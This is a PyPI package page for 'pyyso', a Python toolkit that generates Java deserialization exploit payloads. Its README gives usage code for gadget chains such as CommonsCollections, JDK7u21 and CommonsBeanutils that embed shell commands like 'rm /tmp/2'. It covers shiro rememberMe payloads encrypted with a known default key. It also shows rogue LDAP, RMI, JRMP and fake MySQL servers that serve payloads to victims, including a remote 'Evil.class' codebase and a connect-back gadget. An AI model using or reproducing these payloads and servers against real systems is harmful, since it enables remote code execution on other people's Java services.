Skip to main content

a java serialized tool written in python

Project description

pyyso: powerful java serialized toolkit

What is it?

pyyso is a Python package that provides fast and flexible ways to generate java serialized poc. It aims to be the fundamental high-level building block for doing vulnerability check and research in Python. Additionally, it has a goal of becoming the most convenient and reliable toolkit implemented in Python for Java researchers

Main Features

Here are just a few of the things that pyyso does well:

  • Easy generating of java serialized poc
  • Powerful, flexible functionality to start a LDAP/RMI/JRMP/MySQL server to host java serialized pocs
  • Communicating and collaborating with other Python packages
  • Won't be exploited back in RMI like java client

pyyso has implemented

  • URLDNS Gadget
  • CommonsCollections1-7 Gadgets
  • JDK7u21 Gadget
  • JDK8u21 Gadget
  • CommonsBeanutils1 1.8.3 no cc
  • CommonsBeanutils1 1.9.2
  • shiro-550 rememberMe deserialized
  • java class embed with command
  • LDAP server hosting java serialized pocs
  • LDAP server hosting java remote reference factory
  • RMI server
  • high JDK version beanfactory bypass
  • JRMP server
  • JRMPClient Gadget
  • Fake MySQL server for JDBC deserialize

Where to get it

The source code is currently host on GitHub at: https://github.com/cokeBeer/pyyso

Installation from sources

pip install pyyso

How to use

basic usage

First import pyyso

import pyyso

To generate a java serialized zed poc use:

pyyso.urldns("https://x.dnslog.com") #return java serialzed data of URLDNS in bytes
pyyso.cc1("touch /tmp/1") #return java serialzed data of CommonsColletions1 in bytes
pyyso.cc2("touch /tmp/1") #return java serialzed data of CommonsColletions2 in bytes
pyyso.jdk7u21("touch /tmp/1") #return java serialzed data of JDK7u21 in bytes
pyyso.jdk8u20("touch /tmp/1") #return java serialzed data of JDK8u20 in bytes
pyyso.jrmpclient("127.0.0.1",80) #return java serialzed data of jrmpclient in bytes
pyyso.cb1v183("touch /tmp/1") #return java serialzed data of CommonsBeanutils1 1.8.3 no cc in bytes

To generate a java class embed with command use:

pyyso.clazz("touch /tmp/1") #return java class embed with command in bytes

shiro

To encode a shiro poc use:

serobj=pyyso.cb1v183("touch /tmp/1")
pyyso.shiroEncode(serobj=serobj,key=b'kPH+bIxk5D2deZiIxcaaaA==')

LDAP

To start a LDAP server hosting java serialized pocs:

serobj=pyyso.cc1("touch /tmp/1")
server=pyyso.LdapSerialized(serobj=serobj, ip="0.0.0.0", port=1389)
server.run()

This will start a LDAP server listening 0.0.0.0:1389 You can change the hosted java serialized data by:

server.serobj=pyyso.cc1("rm /tmp/2")

To start a LDAP server hosting java remote reference factory:

server=pyyso.LdapRemoteRef(javaCodeBase="http://127.0.0.1:8088/", javaFactory="Evil", javaClassName="java.lang.String", ip="0.0.0.0", port=1389):
server.run()

This will start a LDAP server listening 0.0.0.0:1389 and will return a remote reference point to http://127.0.0.1:8088/Evil.class

JRMP

To start a JRMPListener

serobj=pyyso.cc1("open /tmp",jrmp=True) #note that there is 'jrmp=True'!
server=pyyso.JRMPListener(serobj=,ip="0.0.0.0", port=5151)
server.run()

This will start a JRMPListener listening 0.0.0.0:5151

By deserializing a jrmpclient Gadget in victim's server, the victim's server will connect back to JRMPListener.

the jrmpclient Gadget should be made by:

serobj=pyyso.jrmpclient(hostname="127.0.0.1", port=5151)

which the hostname is corresponding to where JRMPListener is hosting on

RMI and bypass

To get a bypass poc, use:

serobj=pyyso.beanfactory("open /tmp", rmi=True)

To start a RMI server and host bypass poc, use:

serobj=pyyso.beanfactory("open /",rmi=True) ##note that there is 'rmi=True'!
server=pyyso.RMIServer(serobj=serobj,ip="0.0.0.0", port=1099, refip="0.0.0.0", refport=42155)
server.run()

a registry will listen 0.0.0.0:1099 and a poc provider server will listen 0.0.0.0:42155

MySQL

to start a MySQL server hosts JDBC deserialize payload, use:

serobj=pyyso.cc2("open /")
server=pyyso.MysqlServer(serobj=serobj, ip="0.0.0.0", port=3306)
server.run()

a fake MySQL server will listen 0.0.0.0:3306, and wait for SHOW STATUS

Support Options

For some reasons, part Gadgets support JRMP or RMI now,which can be enabled by rmi=True or jrmp=True

Gadgets Basic jrmp option rmi option
CC1-CC7
CB1v192
CB1v183
JDK7u21
beanfactory
others

License

MIT

Inspired by

https://github.com/frohoff/ysoserial
https://github.com/mbechler/marshalsec

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pyyso-0.0.11.tar.gz (21.5 kB view details)

Uploaded Source

Built Distribution

pyyso-0.0.11-py3-none-any.whl (40.5 kB view details)

Uploaded Python 3

File details

Details for the file pyyso-0.0.11.tar.gz.

File metadata

  • Download URL: pyyso-0.0.11.tar.gz
  • Upload date:
  • Size: 21.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.0 CPython/3.9.9

File hashes

Hashes for pyyso-0.0.11.tar.gz
Algorithm Hash digest
SHA256 2b0384de373d7823ffade18305df9fc01dc00192cea50f4d444f41b5838a50a1
MD5 e8df22b7776eca50f9629de9f74678b0
BLAKE2b-256 b7cac4f4dd0e2aceeee4585d90501ab624c40cbb71d5d54f6e30d60e062ec42a

See more details on using hashes here.

File details

Details for the file pyyso-0.0.11-py3-none-any.whl.

File metadata

  • Download URL: pyyso-0.0.11-py3-none-any.whl
  • Upload date:
  • Size: 40.5 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.0 CPython/3.9.9

File hashes

Hashes for pyyso-0.0.11-py3-none-any.whl
Algorithm Hash digest
SHA256 6a35d0a6d9bc7fbe473520752f1b2cb5d98ba6619bb4f4a1841a62e4ee700976
MD5 d4b86d0373e3e68c4d90056978e2d960
BLAKE2b-256 754149677522e95af7cb1ef3cd479d989b53f523ed1a1c7ca85f6c06532a2a51

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page